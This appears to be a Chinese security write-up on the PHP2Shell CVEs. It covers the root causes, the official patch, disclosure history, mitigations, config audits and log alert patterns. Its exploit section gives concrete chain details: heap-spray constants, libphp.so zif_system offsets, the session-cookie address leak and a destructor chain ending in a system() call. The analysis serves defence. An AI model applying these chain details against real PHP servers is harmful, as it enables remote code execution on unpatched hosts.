PHP2Shell不是核弹,也不是玩具:把利用链拆成两段就看懂了"

admin 2026-10-24 13:37:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

PHP2Shell 不是核弹,也不是玩具:把利用链拆成两段就看懂了

网安之家-CyberHomestead

2026年10月23日 21:42
湖北

去阅读

PHP2Shell 复盘 与 fscan 工具链审计报告

CVE-2026-109618 / CVE-2026-109619 / CVE-2026-115560 + fscan / pscan 命令生成器与报告生成器源码审计


0. 结论速览

  1. 1. PHP2Shell 的\"核弹\"叙事和\"跳蛋\"叙事都不完全对。漏洞触发面确实通用,RCE 面确实不通用——这两件事被混成了一件,所以两边都能自圆其说。技术事实和公关叙事可以同时为真。
  2. 2. 难度不在漏洞,在利用链的物理约束。PHP2Shell 的稳定原语是悬空指针和堆块尺寸,不是字符串或对象图。这意味着每次成功利用都要重新标定:目标二进制的符号偏移、Zend MM 的堆布局常数、ASLR 泄漏结果、PHP 与 Apache 的初始化顺序。这是\"漏洞通用、PoC 不通用\"的根本原因。
  3. 3. 官方补丁提交本身就是最好的漏洞说明书。3584a98 一个提交改了 389 个文件、+10759 / −988 行,其中新增的 tests/basic/oom_rfc1867_* 系列测试把每一条内存放大路径都写成了可执行用例。这批用例比任何二次分析都精确。
  4. 4. 最硬的量化证据:同为 PHP 8.4.26,Debian 13 Trixie 的 zif_system 偏移是 0x465370,Debian 12 Bookworm 是 0x45a3b0。堆喷参数 841、406、+0x690d8 是按 Bookworm 标定的,搬到 Trixie 上 5 次尝试全部 stage1 HEAP_LEAK_FAILED。
  5. 5. CVSS 9.2 与 NVD 9.8 的分歧,恰好落在争议点上。PHP 官方 v4.0 给 AC:H(攻击复杂度高),NVD v3.1 给 AC:L。两个分数描述同一组漏洞,区别就是\"打过去能不能直接拿到 shell\"这个问题本身。内部工单建议:主用 PHP 官方向量,风险说明里保留 9.8。
  6. 6. \"七成互联网\"是传播语言,不是攻防指标。W3Techs 2026-10 的口径是\"可识别服务器端语言的网站中 PHP 占 69.3%\"——分母是\"能识别出服务器端语言\"的网站,不是\"全部网站\",也不是\"全部暴露面\"。
  7. 7. 国内安全公众号讨论失焦的地方在框架层。ThinkPHP、Discuz! 这类 PHP 应用,漏洞不在框架代码里,框架跑在 PHP 上。升级框架 ≠ 升级 PHP。公开传播里大量厂商公告更爱转 CPython、GPT-5.5 和\"防御者之窗\",国内应用侧几乎没人提。节奏是别人带的,风险是自己扛的。
  8. 8. \"先升级,再谈规则\"是对的。WAF/IPS 规则是补偿控制——真实利用可能只用结构合法、外观像普通表单的 HTTP 请求;单靠一个 multipart 特征签名证明不了安全。
  9. 9. fscan 工具链的核心设计是一张参数数据库。整个套件只有两个纯静态 HTML,零依赖、零安装、离线可用,逻辑全部落在 PARAMS 这一张表上,用 fs/ps 双字段解决 fscan ↔ pscan 的参数名差异。
  10. 10. 审计发现 7 处实现层缺陷 + 4 处设计规范未实现项,其中 3 处会实际影响使用(文件选择器丢路径、默认值被静默省略、HTML 转义未处理引号)。详见 §3.5。

第一部分 · PHP2Shell

1.1 为什么\"打过去就直接拿 shell\"很难

把利用链拆成两层,两层的通用性完全不同:

┌─ 触发层(通用)───────────────────────────────────────────────┐
│  版本未修复 + upload_progress 开启 + memory_limit 有限          │
│  + post_max_size 够大 + 能对任意 .php 发 POST                   │
│  + 两次请求命中同一 worker                                      │
│  → 现象:Fatal error: Allowed memory size of 8388608 bytes     │
│           exhausted in Unknown on line 0                        │
└────────────────────────────────────────────────────────────────┘
┌─ RCE 层(不通用)──────────────────────────────────────────────┐
│  精确堆布局 + 精确 libphp.so 偏移 + 成功地址泄漏 + 特定 INI/ELF  │
│  → 现象:system(\"id>/out/p1\")                                   │
└────────────────────────────────────────────────────────────────┘

触发层的通用性来自\"输入可以控制内存\",RCE 层的门槛来自\"要在一个具体的内存布局上精确落刀\"。

PHP2Shell 不是\"把 payload 交给某个业务函数执行\"那种 RCE。普通应用层 RCE 的稳定原语是字符串、对象图、业务逻辑,跨版本换个 payload 常常还能用;PHP2Shell 的稳定原语是悬空指针和堆块尺寸——被释放对象的尺寸、下一次分配会不会重用同一个 bin、伪造对象字段的偏移、Zend MM 的堆布局、libphp.so 的符号偏移、ASLR 泄漏的结果、PHP 与 Apache 的初始化顺序,全都要提前知道。

实测条件表(实验室取值 → 不满足会怎样)

条件 实验室取值 不满足会怎样
精确镜像 php:8.4.26-apache-bookworm 堆喷尺寸全部失效
SAPI mod\_php + mpm_prefork FPM 得另写一条利用链
Worker 数 1 无法稳定完成 A→B 同进程利用
display_errors On Cookie 泄漏链失效
max_input_vars 默认 1000 超限 warning 的触发时机变了
memory_limit 8M OOM 分配点漂移,对象落点改变
session.use_strict_mode Off 带 \\x00 的 PHPSESSID 逼不出换 ID
libphp.so 符号偏移 zif_system = 0x45a3b0 阶段 3 可能调错函数
堆布局常数 HTDATA = +0x690d8 、filler = 841 重占失败,通常只是崩溃
用户态地址范围 本机映射约 0x79... 泄漏解析器会判定未泄漏
命令长度 有效命令不超过 14 字节 得换别的长度控制方式

注意\"Worker 数 = 1\"这一条。它直接对应官方 advisory 里那句\"更多 worker 与无关流量会提高所需尝试次数,但不消除条件\"。多 worker 部署下,请求 A(producer)和请求 B(consumer)落到同一进程需要调度配合——这就是\"多 worker 摊薄单请求成功率\"的技术含义。

RCE 需要两类地址泄漏

泄漏类型 目标 取得方式
Zend MM chunk 基址 约 2 MiB 对齐 构造超长 zend_string,让 php_url_encode(PS(id)) 越界读,从 Set-Cookie: PHPSESSID= 里捞
libphp.so 基址 ELF 装载基址 读 zval_ptr_dtor 的地址,减去目标构建的文件偏移

任一没拿到,伪造出来的 HashTable 就只是指向随机内存,表现出来是 worker 崩溃,不是命令执行。

三段式利用链与析构路径

请求 A:带 PHP_SESSION_UPLOAD_PROGRESS 字段的 multipart POST
        + 约 12 MiB 字段把内存撑爆   →  OOM → longjmp → 状态脏
请求 B:841 个 48 字节字段 + 79 字节伪造块做堆重占
        把伪造的 ZSTR_LEN 设成 0x1000
        靠越界读从响应 Set-Cookie 泄漏 chunk 基址
阶段 3:15 字节 carrier 改写悬空 reference 的 val.value
        再塞进携带伪造 HashTable 的字段

析构链(这条链就是 RCE 的落地方式):

php_session_track_init()
 → zval_ptr_dtor(PS(http_session_vars))
   → zend_reference_destroy(R0)
     → zend_array_destroy(fake HT)
       → zend_hash_destroy(fake HT)
         → pDestructor(&bucket->val) = zif_system
           → system(\"id>/out/p1\")

伪造的 HashTable 是依赖地址和堆布局的二进制结构,不是能抽象成\"固定 Raw HTTP 包\"的东西。直接把 stage3 的 body 复制到别的机器上,多数情况下只会得到一次纯崩溃。

你那句\"搭配堆栈泄露可能稳定在野利用\"

这个判断在技术上成立,而且它指向了真正的门槛所在。

门槛不是 ASLR 本身,而是缺少一个通用的、跨构建的内存泄露原语。当前状态下,攻击者要为每个目标构建做一次标定(符号偏移 + 堆常数),这是每目标成本,所以无法规模化。

但一旦出现通用泄露原语,标定就退化成一次性成本——标定一个代表性构建,把偏移表和堆常数固化进工具,之后换目标只需重新计算基址。VulnCheck 已经做到 x86-64 + ASLR 开启下的成功(10-22 01:30 ET 起商业提供),ARM64 上泄漏可用但 RCE 尚未功能化,且 ARM64 的 ASLR 可被相对容易地暴力枚举。

所以真正该盯的指标不是\"有没有 PoC\",而是这三个:

指标 意义
是否出现跨构建通用的内存泄露原语 决定标定成本是否从每目标变成一次性
是否有非白盒的偏移获取途径 决定标定是否还需要本地调试权限
泄漏原语是否出现在多个 PHP 版本上 决定可武器化的目标池大小

这三个指标里任意一个突破,\"打过去直接拿 shell\"的门槛就会塌。在那之前,补丁先打,规则同步上,这是唯一确定有效的动作。


1.2 漏洞原理(追到操作系统调用层)

CVE-2026-109618:OOM corruption

PHP 用 longjmp() 处理内存耗尽:

zend_mm_safe_error()            # Zend 内存管理器分配失败入口
  → zend_error_noreturn()       # 提升为不可恢复错误
    → zend_bailout()            # = longjmp(),直接跳回请求顶层

longjmp() 的语义决定了它会跳过所有中间栈帧。正常异常退栈会逐层执行清理逻辑(析构函数、资源释放、全局指针复位),longjmp() 一个都不做。

请求启动阶段极其敏感:PHP 正在解析 multipart/form-data,$_POST、$_FILES、数组键、文件元数据、session upload progress 等结构正在逐步建立。此时某块 request memory 可能已经挂到内部结构中,但还没有完成初始化。

如果这时发生一次 OOM,即使失败的那次分配和这块半初始化内存没有直接关系,执行流也会被提前拽走:

multipart 解析
  → request-owned 结构已发布但未完全初始化
    → 任意一次分配触发 memory_limit
      → longjmp / bailout
        → 匹配的初始化或清理被跳过
          → request shutdown 继续运行
            → shutdown 把无效状态当有效数据读取或分支
              → 内存破坏 → 函数指针被劫持 → RCE

\"失败的那次分配不需要与那块非法内存相关\" 是 GHSA 原文的关键句。它意味着攻击者可以用一台独立的\"内存放大器\"在远处制造分配失败。

官方补丁把漏洞点拆成了三层

① Zend 内存管理层   → OOM 出口从 longjmp 改为 UnwindExit
② 请求解析层        → 关键分配改为 fallible 路径,允许上层停止解析并正常清理
③ 请求关闭层        → 清理 PG(http_globals)、last error、module activation
④ 早期初始化        → 新增 php_basic_early_rinit(),复位序列化/反序列化/URL scanner 状态

CVE-2026-109619:stale global state

worker 全局位置缓存了 request-owned memory 的地址。请求结束后这块内存被释放,worker 进程还活着,地址也留在原处。下一个请求只要在正常初始化覆盖它之前碰到这段状态,就出现 use-after-free。

官方把利用抽象成 producer / consumer 两段、五个必要条件:

请求 A(producer)
  → 把 request-owned session / error / extension state 发布到 worker 全局
    → fatal error、OOM、超时或 shutdown 后诊断打断匹配的 reset
      → request memory 被释放,worker 继续存活
        → 请求 B(consumer,同一 worker)
          → 在正常 request 初始化覆盖全局状态之前
            → 某段早期逻辑读取、释放、分支或调用悬空指针

五个条件缺一不可:①攻击者可达的 producer;②reset 被跳过或被回填;③worker 不退出且 request heap 被释放;④后续请求命中同一 worker;⑤正常初始化前存在 consumer。

为什么 mod\_php 最危险

SAPI 启动失败后的行为 应用代码前可利用?
Apache mod\_php 无条件调用 request shutdown ,即使 startup 已失败 ✅ 是,已在默认配置下验证完整 RCE
FrankenPHP 类似 mod\_php,无条件调用 shutdown 源码判定为很可能可被与应用无关的攻击利用
PHP-FPM 启动失败即退出子进程,从池中移除 ❌ 该精确序列不成立(应用期变体路径另算)
LSAPI 建模同 FPM ❌ 应用相关利用可能,未验证

FPM 上\"完整利用未演示\"不是 FPM 安全,而是 FPM 的失败语义恰好切断了 mod\_php 那条链。

producer / consumer 的两类已确认 consumer

消费者 A:INI 诊断。warning、notice、deprecation 在初始化期间就能消费陈旧的 error state,不需要致命、不需要被显示、不需要被记录。因为全局状态在 PHP 决定\"是否报告\"之前就已被访问:

无效手段 原因
改 error_reporting 全局状态在决策之前已被访问
使用 @ 同上
display_errors=Off / log_errors=Off 同上

可达性:mod\_php 的 .htaccess 与 Apache php_value/php_flag/php_admin_*目录级配置在 php_request_startup() 之前应用;FPM 只有在前端下发 PHP_VALUE/PHP_ADMIN_VALUE 且产生早期诊断时才有条件可达(FPM pool 值在 worker 启动时应用,.user.ini 在正常初始化之后应用,都不构成同样的早期 consumer);LSAPI 可早期应用环境 INI 值,属有条件候选;FrankenPHP 默认配置下未确认等价消费者,但不等于免疫。

消费者 B:session upload progress。默认开启,无需应用调用 session_start(),可在普通 session 初始化之前进入 session 和 decoder 状态。与 INI 诊断路径相互独立。

已确认的两个具体场景

  1. 1. PHP 8.5 fatal_error_backtraces:致命错误上报会把回溯状态(请求所有)存进全局;关闭阶段的复位逻辑总是被漏掉(always missed)。后续请求的任意一条诊断在初始化前碰到它。这是最强案例,是已确认 mod\_php RCE 的基础。
  2. 2. session upload progress 生命周期:上传在正常模块初始化之前就初始化了请求内的 session 和 decoder 状态;状态发布后发生 OOM 或其他致命错误 → 匹配的 reset 没执行 → 请求堆释放但持久化的 session/decoder 全局仍指向它 → 后续 upload progress 操作在普通初始化前访问这些全局并当作有效状态。
  • • mod\_php:生产者和致命错误都可以发生在 multipart 启动阶段,业务代码完全不参与。
  • • FPM:启动失败即终止 child,该序列不成立。已验证的 FPM 路径改为:启动成功后的应用执行期发布状态 → 遭遇致命错误 → 后续请求的 upload progress 作为早期消费者。适用于普通动态 FPM pool,但依赖\"存在合适的应用操作\"。

1.3 内存放大器清单(来自官方补丁测试用例)

这是本次复盘最硬的一块证据。3584a98 新增的 tests/basic/oom_rfc1867_* 系列把每一条放大路径都写成了可执行用例,并给出了精确的放大系数。

放大路径 官方测试用例 机制 量化
part 内 header 数量无上限 oom_rfc1867_header_count.phpt 一个 part 里塞 15 万个 header 修复后 EXPECT 为 post=1 files=0,不再触达上限
Content-Disposition 行超长 oom_rfc1867_long_header_line.phpt 字段名/文件名各 1–3 MiB 注释原话:getword\_conf() keeps a copy of each, so param and filename are retained at the same time on top of the header value they were parsed out of → 同一份数据被保留 3 份
header 续行(continuation) oom_rfc1867_header_continuation.phpt 2500 行 × 4000 字节续行 续行拼接后的 header 值超长
数组上传名 oom_rfc1867_array_upload_name.phpt 字段名 + 数组下标 注释原话:abuf and array\_index are each a copy of param, retained together with param and the header value → 4 份
$_FILES[...][full_path] oom_rfc1867_files_registration_full_path.phpt 超长 filename 注释原话:the weight lands on the [full\_path] entry → 1.2 MiB 文件名在 8M 限制下直接触顶
文件控件数量 oom_rfc1867_files.phpt 3 万个 file part $_FILES 表与数组本身撑爆
空 file 控件 oom_rfc1867_files_registration.phpt 空控件不计入 max_file_uploads 但仍建完整元数据数组 计数绕过
表单变量数量 oom_rfc1867_post_vars.phpt 7 万个表单变量
单字段值超长 oom_rfc1867_form_value.phpt 6 MiB 字段值
mbstring 编码转换 oom_rfc1867_mb_encoding.phpt mbstring.encoding_translation=1 + 非 UTF-8 输入 ISO-8859-8 的 0xE0 → א:1 字节进,7 字节出 ;UTF-32:每个输入字节 4 倍;CP1252→UTF-8 需 1216–1664 KB 的窗口才能让转换本身成为压垮点
upload progress 会话重编码 oom_rfc1867_upload_progress.phpt session.upload_progress.freq=1 + min_freq=0 注释原话:the whole session is re-encoded each time → 每个 chunk 重编码整个会话,乘法级放大
超大 upload progress 值 同上 1 MiB 的 PHP_SESSION_UPLOAD_PROGRESS 值 注释原话:the handler copies it into the progress key on MULTIPART\_EVENT\_FORMDATA, so the soft limit is reached inside the handler rather than in the parser → 软限制在 handler 内部触发,绕过 parser 的检查

这批用例的工程意义:官方不再只是\"堵住漏洞\",而是把每条内存放大路径都变成了带期望输出的回归测试。这意味着这些路径在后续版本里不会再悄悄回来。也意味着——即便打了补丁,这些仍是 DoS 攻击面,官方在修复说明里专门强调这些控制\"降低硬 OOM 与 DoS 风险,即便打了补丁也不替代升级\"。

补丁的双阈值机制

从测试用例名可以直接读出补丁后 OOM 的两个出口:

机制 行为 对应测试
软 OOM(soft limit) 记 EG(delayed_oom),在下一个 VM 安全点执行 zend_throw_unwind_exit(),让清理逻辑正常跑完 Zend/tests/oom_soft_limit_exceeded.phpt 、oom_pending_at_shutdown.phpt
硬 OOM(hard limit) 新增 memory_hard_limit_percent,超过后 _exit() 直接退进程(测试期望里出现 Termsig=9,即 SIGKILL,退出码 137) Zend/tests/oom_hard_limit_exceeded.phpt 、oom_hard_limit_exceeded_during_comilation.phpt

设计意图很明确:让所有可能的 OOM 退出点都落在\"状态一致\"的位置。软 OOM 保留 PHP 限制内存消耗的正常能力,硬 OOM 保证最坏情况下宁可进程死,也不做非受控跳转。

补丁还新增了 php_basic_early_rinit(),在请求早期重新初始化此前可能被前置流程使用的序列化、反序列化和 URL scanner 状态;ext/session/session.c 在 MULTIPART_EVENT_START 时就立刻复位 PS(id) 和 PS(http_session_vars),解析阶段反序列化只生成 __PHP_Incomplete_Class,不再继续执行不安全回调。

补丁规模

commit 3584a98bda0f2c0d367255b046798b0d3a221a19
Author:  Arnaud Le Blanc      Date: 2026-10-18 17:26:39 +0200
Subject: [PATCH] Avoid state corruption via bailout

  - Replace bailout on OOM with UnwindExit
  - Properly reset various globals that may be accessed during startup

  Fix GHSA-w8hw-w9fx-j79w (CVE-2026-109618)
  Fix GHSA-6wmf-4rv5-p3rp (CVE-2026-109619)

  389 files changed, 10759 insertions(+), 988 deletions(-)

改动铺开这么大,是因为它同时碰到 Zend Memory Manager、VM 中断点、request lifecycle、multipart parser 和 session 全局状态——每个位置都牵着请求生命周期的另一端。修复作者之一 Arnaud Le Blanc 也是 GHSA 的 remediation developer。

同一提交里还捎带修了另外两个 GHSA:GHSA-f883-x959-3vr9(11 个测试用例)和 GHSA-2cv3-554h-jpmh(multipart / urlencoded 两个 fuzzer 用例)。这是一个很值得注意的细节:这次是 PHP 核心近两年最大的一次安全重构,不是两个洞的定点补丁。


1.4 CVE-2026-115560:10-23 新增的信息性公告

项 内容
状态 信息性公告 (informational advisory),PHP 官方建议在下次常规 bugfix 版本前设置 session.upload_progress.enabled=0
前置条件 ① session.serialize_handler 配为 php_binary 或 php_serialize;② 应用在运行时用 ini_set() 切回 php 后才调 session_start();③ upload progress 仍开启
是否被 10-21 补丁修复 否 ,是独立问题
处置 已在 10-21 做过该设置的,保持不动,无需额外动作
验证 php-fpm -i | grep upload_progress 或对应 SAPI 的 phpinfo()
PHP 项目处理方式 前置条件罕见,走常规发布周期,下次 release 随完整 advisory 一起出

这条公告的意义:它把\"session upload progress 这条路径到底有多脆弱\"这件事又往前推了一步——即使在 10-21 补丁之后,这条路径上仍然存在一个独立的未修复 RCE 向量。同时它也反向印证了为什么 session.upload_progress.enabled=0 这条缓解措施值得长期保留:官方自己都建议打完全部补丁后仍然关掉它。

值得单独指出:PHP 官方文档长期以来就建议在不需要上传进度条时关闭该功能,理由是未净化的值会让本地文件包含类问题更容易被利用。这次是把那条老建议升格成了安全建议。


1.5 对几个流行说法的判断

\"这是不是借真实漏洞事件做能力营销?\"

你的判断框架我认为是对的,这里把它再收紧一点。

可以同时成立的事实:漏洞是真的(官方 advisory、官方补丁、官方测试用例、官方复盘,四层证据),补丁是真的(4 个分支同时出版本,发行版与 LTS 厂商提前拿到),攻击也是真的(在野利用有 canary 观测、厂商侧 WAF 规则、威胁情报 IOC)。

公关叙事同时存在:OpenAI 把这件事包装成\"前沿模型发现内核级漏洞\"的样板案例,Wiz 用\"70% of the Internet\"做标题。这两件事和漏洞的真实可利用性没有因果关系。

判断它是不是纯炒作,看三件事(这是你原话的方法论,我原样保留并加上各自的观察方法):

检验项 怎么验 本次观察
方法论能否复现 找公开的复现路径,看别人能不能独立跑通 能 。官方 3584a98 的 tests/basic/oom_rfc1867_*.phpt 就是可执行复现路径,社区多方独立复现
修复是否可持续 看修复是定点补丁还是结构性重构,看后续分支是否跟进 是结构性重构 :389 文件、引入 UnwindExit 机制、补齐全局状态复位、跨请求测试(oom_request_parsing_next_request.phpt、oom_shutdown_function_next_request.phpt)
小站点有没有真被覆盖 看 EOL 分支和发行版 backport 的实际落地 这是最弱的一环 。42% 的 PHP 主机在无官方补丁的 EOL 分支上,rpms.remirepo.net 发布当日没更新

结论:技术事实与公关叙事可以同时为真。这个洞值得修(技术含量在运行时内存管理,修复难度极高、影响面极大),但不值得吹成\"一键 RCE\"。CVSS 9.2 是严重性评分,\"七成互联网\"是传播语言,都不是实战成功率。

CVSS 9.2 vs 9.8:分歧恰好落在争议点上

来源 版本 向量 分数
PHP 安全团队 CVSS v4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 9.2
NVD CVSS v3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8

两个分数描述同一组漏洞,区别就是 AC(攻击复杂度)。v4.0 给 AC:H 是因为完整 RCE 需要精确堆布局、地址泄漏和同 worker 调度;v3.1 的评分者给 AC:L 是按\"可触发未认证崩溃/UAF\"评的。

换句话说,这 0.6 分的分歧,恰好就是\"打过去能不能直接拿 shell\"这个问题本身在评分模型里的位置。 这个观察比任何评论都更能说明\"通用 PoC\"和\"定点 PoC\"的区别。

内部工单建议:主用 PHP 官方 v4.0 向量(口径可辩护),风险说明里保留 NVD 3.1 的 9.8,免得业务方看到 9.2 就当成普通高危。

\"七成互联网\"是什么口径

表述 实际口径
\"70% 的网站使用 PHP\" W3Techs 2026-10:所有可识别服务器端语言的网站中 PHP 占 69.3%。分母是\"能识别出服务器端语言\"的站点
对照 Ruby 6.7%、JavaScript 5.9%、Java 5.4%、ASP.NET 4.4%
WordPress 驱动全球 40.1% 的网站,占 CMS 市场 58.6%;但 2025-01 达到 43.6% 峰值后首次持续回落,2026-05 降至 41.9%

这是部署面统计,不是暴露面统计,更不是可利用面统计。 从防守视角,VulnCheck 的口径更贴近排期:互联网暴露 PHP 主机 2,608,039 台,其中 99.998% 判定为易受攻击或可能易受攻击;约 42% 在无官方补丁的 EOL 分支上。

ThinkPHP / Discuz! 的覆盖问题

你说得对,这里是国内讨论最混乱的地方。

常见说法 问题
\"升级 ThinkPHP 就安全了\" 错 。漏洞在 PHP Core,不在框架代码里。框架只是运行在 PHP 上的应用层
\"ThinkPHP 也受影响,需要升级框架\" 半对半错 。框架版本升级不改变 PHP 运行时版本;PHP 不升级,框架升级无意义
\"PHP2Shell 是 PHP 的问题,跟国内应用无关\" 错 。国内 ThinkPHP、Discuz!、ThinkCMF 等应用的部署量极大,跑在未修复 PHP 上就在同一条链的覆盖范围内

正确的判断:漏洞边界画在 PHP 运行时版本,不在任何应用层。ThinkPHP、Discuz!、WordPress、MediaWiki、phpBB、Magento、Laravel、Drupal、Roundcube、phpMyAdmin、Nextcloud 在这条链上是平权的——它们的差异只在于部署量和暴露面,不在于是否受影响。

官方 advisory 本身也这么说:\"组织应识别运行任何版本 PHP 的系统并应用安全更新,优先处置互联网暴露系统;还应检查 PHP 是否安装在 Web 服务器上,包括第三方应用或组件中使用 PHP 的地方,即使主要网站不使用 PHP。\"

\"先升级,再谈规则\"

这个顺序是对的,理由有三层:

  1. 1. 规则是补偿控制,且是可绕过的。真实利用可能只使用结构合法、外观像普通表单的 HTTP 请求。单靠一个 multipart 特征签名证明不了安全。
  2. 2. 规则有时间窗,补丁没有。规则发布到覆盖全网需要时间,补丁推下去就生效。
  3. 3. 打完补丁之后规则依然有价值——因为内存放大路径(§1.3)在补丁后仍是 DoS 面。

但顺序对不等于规则可以不做。 正确姿势是:补丁在 T+0,规则在 T+0 并行下发,检测规则在 T+0 开启并留存。


1.6 前世今生:PHP 与 OpenAI 叙事

技术侧时间线

时间 事件
1994–1995 Lerdorf 发布 PHP Tools / PHP/FI 1.0–2.0,加入 MySQL 支持
1997–1998 Suraski、Gutmans 重写解析器,PHP 3 发布,名称改为递归缩写
2000 PHP 4 + Zend 引擎,进入企业级视野
2003–2004 WordPress 发布;PHP 5 支持完整 OOP
2015 PHP 7(Zend Engine 3),性能翻倍,挡住 Node.js 冲击
2020 PHP 8.0 引入 JIT
2021-11 PHP 基金会成立(JetBrains + Automattic + Laravel + Acquia + Zend + Craft CMS),导火索是 Nikita Popov 转投 LLVM
2024 PHP 多年来首次外部安全审计(Sovereign Tech Agency 出资、OSTIF 组织、Quarkslab 执行)。修复 Quarkslab 报告的一个问题时,一名基金会外包的核心开发者发现了 OOM 问题的最初迹象。当年推演过潜在利用但未找到具体向量
2026-05 成立 Ecosystem Security Team;Volker Dusch 出任 AI Security Engineer in Residence
2026-07 Alexandre Daubois 加入(分诊);Trail of Bits 开始审计;Calif 开始审计;PHP 进入 OpenAI \"Patch the Planet\"
2026-08-11 Calif 研究员 Ryan A 报告了与 2024 年 OOM 问题同根因的无条件 RCE ;OpenAI 同日独立报告同一根因
2026-08-19→08-24 Wiz 证明可未登录攻破 Drupal(8/20)与 WordPress(8/21);OpenAI 报告更多向量(9/18)
2026-08-11 起 修复成为基金会全部安全团队最高优先级
2026-10-20 15:00 UTC 两个 CVE 编号开始流传(错误的发布时间 + 错误的 CVSS 10.0,实际 9.2),无技术细节泄露
2026-10-20 19:30 UTC 提前发布预公告,发布日从 10-22 提前至 10-21
2026-10-20 ~20:00 Calif 误发 PoC 演示视频 ,删档后仍扩散。官方评价:该视频\"加速了各种 PoC 的开发\",进而推高 10-21 的扩散量
2026-10-20 23:00 向关键基础设施提供的缓解建议可能也已泄露
2026-10-21 07:41 UTC Chainguard 单方面打破 embargo ,提前发布含修复的构建镜像。官方评价:任何攻击者此时可以二进制形式研究修复,而其他 PHP 用户还在等待
2026-10-21 13:34 两份 GHSA 公布
2026-10-21 14:00 四个修复版本发布
2026-10-21 CNVD 收录 CNVD-2026-41674 / 41675(\"高危\");腾讯云发布风险通告
2026-10-22 CNCERT 发布风险提示 CNTA-2026-0006
2026-10-23 PHP 发布 CVE-2026-115560 信息性公告

两年为什么没修

官方复盘写得很坦率,值得原样引用其结论:修复工作反复停滞是\"结构性失败\"。

障碍 官方说明
方案都有代价 PHP 安全团队开发了多个竞争方案,每个都带代价——破坏向后兼容、引入新的 DoS 可能、或要求大量第三方扩展配合改动(\"看似无法协调\")
决策机制僵化 共识式决策流程 + 缺乏资源,导致\"修复工作停滞并反复重启数月\"
资源不足 \"能深度掌握整个 PHP 代码库的核心开发者太少,且都身兼多职\"
缺少 RCE 证据 2024 年推演过潜在利用但无具体向量,且被影响更明确的问题盖过

从 8-11 的无条件 RCE 到 10-21 的补丁,63 天。 这 63 天里做的不是\"写一个补丁\",而是给 OOM 退出机制重新设计了一套语义(bailout → UnwindExit + 双阈值),并重置了一整类全局状态。这类问题的瓶颈从来不是发现能力,是修复决策的组织能力。

披露过程的三条教训

  1. 1. PoC 视频误发是扩散加速器。泄露的技术细节有限,但生态效应巨大——数百个 PoC 仓库一天内出现,\"优化竞赛\"随即启动。
  2. 2. 发行方提前发镜像破坏协同披露的默认假设。Chainguard 07:41 发布 vs 官方 14:00,中间 6 小时以上是\"修复已被逆向\"的窗口。协同披露的时间表本质上不能假定所有参与方都守时。
  3. 3. AI 辅助研究把\"从崩溃到 RCE\"的距离压缩到了数周。三支独立团队(Wiz、Calif、OpenAI)收敛到同一根因。Wiz 侧一名研究员用一周完成了传统上需要数月的工作量(官方明确说明该对比并非标准化基准)。同时 PHP 团队自 7-1 起发布 15 个 CVE,处理了 100+ 份被判无效/重复/不可复现的报告——AI 同时放大了发现侧与噪音侧。

生态侧的变化

维度 数据 来源
PHP 占可识别服务器端语言的站点 69.3% W3Techs 2026-10
PHP 在 TIOBE 排名 1.26%,第 12 位 TIOBE 2026-10
WordPress 站点份额 40.1%(2026-05 降至 41.9%,历史首次持续下滑) W3Techs
机器人流量占比 51%,首次超过人类流量 Imperva 2025 年度报告
Stack Overflow 月提问量 从 2014 峰值 20 万+ 跌至 2025-12 的 3,862 条 —
零点击搜索占比 从 2024-05 的 56% 升至 2025-05 的 69%;触发 AI Overviews 时 80–83% Similarweb
AI 生成 PR 的安全漏洞 比手写代码多 15%–18% Opsera(25 万开发者调研)

PHP 的\"存量坚挺、增量退潮\"和这次漏洞是一回事的两面:因为存量太大(69.3%),内核级缺陷的爆炸半径就极大;因为增量在退潮,把 PHP 迁移掉的速度很慢,这个巨大暴露面会持续很多年。


1.7 处置与检测

修复

分支 修复版本 状态
8.5 8.5.12 受支持
8.4 8.4.27 受支持
8.3 8.3.36 受支持
8.2 8.2.35 受支持,2026-12-31 EOL
8.1 / 8.0 / 7.4 无官方发行版 EOL,仅源码 backport(PHP-7.4-CVE-2026-109618-109619 等分支)
≤7.3 / 5.x 无 永久暴露

发行版 backport 不改版本号,所以 php -v 看到 8.3.35 不能判安全,要查包 changelog 里有没有那两个 GHSA 编号。

升级后必须重启所有 worker。FPM master 不会因为替换磁盘上的 .so 自动加载新代码。多阶段构建镜像要确认最终镜像里的 runtime 被更新,builder 更新不算。

缓解措施(替代不了补丁)

; ── 针对 CVE-2026-109618 ──
memory_limit = -1              ; 必须在 FPM pool 用 php_admin_value 或 Apache 侧设置
                               ; 并检查没有任何 pool / 目录级 / .user.ini / 框架启动脚本把它改回有限值
post_max_size = 8M            ; 无上传需求时;有上传需求时 32M
upload_max_filesize = 8M       ; 必须小于 post_max_size
max_input_nesting_level = 16   ; 收紧嵌套深度
; 前端/网关侧独立强制:解码后请求体大小、输入变量数、multipart part 数、
; 单 part header 数、单 header 长度、嵌套深度
; ⚠ 这些限制必须覆盖没有可用 Content-Length 的请求(chunked)

; ── 针对 CVE-2026-109619 ──
session.upload_progress.enabled = 0   ; 启动级设置;不要用 ini_set() 或 .user.ini
fatal_error_backtraces = 0           ; PHP 8.5+,覆盖已确认的 fatal backtrace producer

不要用 RLIMIT_AS / RLIMIT_DATA 当修复手段:底层 mmap() 失败同样会触发旧的 longjmp() 路径,反而把请求推进脆弱路径。

pm.max_requests=1:直接消灭\"同一 worker 处理后续请求\"这个必要条件,从根上切断 producer/consumer 模型。代价是 worker 频繁重建(进程创建成本显著上升,可能掩盖其他问题)。

审计配置与清理诊断

php -v
php -i | egrep 'Server API|memory_limit|post_max_size|upload_max_filesize|max_input_vars|max_input_nesting_level|max_file_uploads|max_multipart_body_parts|session.upload_progress|fatal_error_backtraces|session.serialize_handler'
apache2ctl -M | grep php        # 确认 mod_php
php-fpm -t                     # 测试配置

排查有早期诊断的配置(这些是 109619 消费者 A 的触发器):

auto_detect_line_endings=1        ; 确定性去precation
filter.default = 非默认值           ; 同上
assert.* = 遗留设置                ; PHP 8.3+
session.* = 遗留设置               ; PHP 8.4+
report_memleaks = 0                ; PHP 8.5+
intl.error_level != 0              ; PHP 8.5+
mbstring.http_input/http_output/internal_encoding = 显式设置
iconv.input_encoding/output_encoding/internal_encoding = 显式设置
zend.assertions / date.timezone / memory_limit 等非法或冲突值

日志告警规则

Allowed memory size of .* exhausted
Maximum execution time of .* exceeded
Unknown on line 0
PHP Request Startup
Session ID is too long or contains illegal characters
Failed to read session data
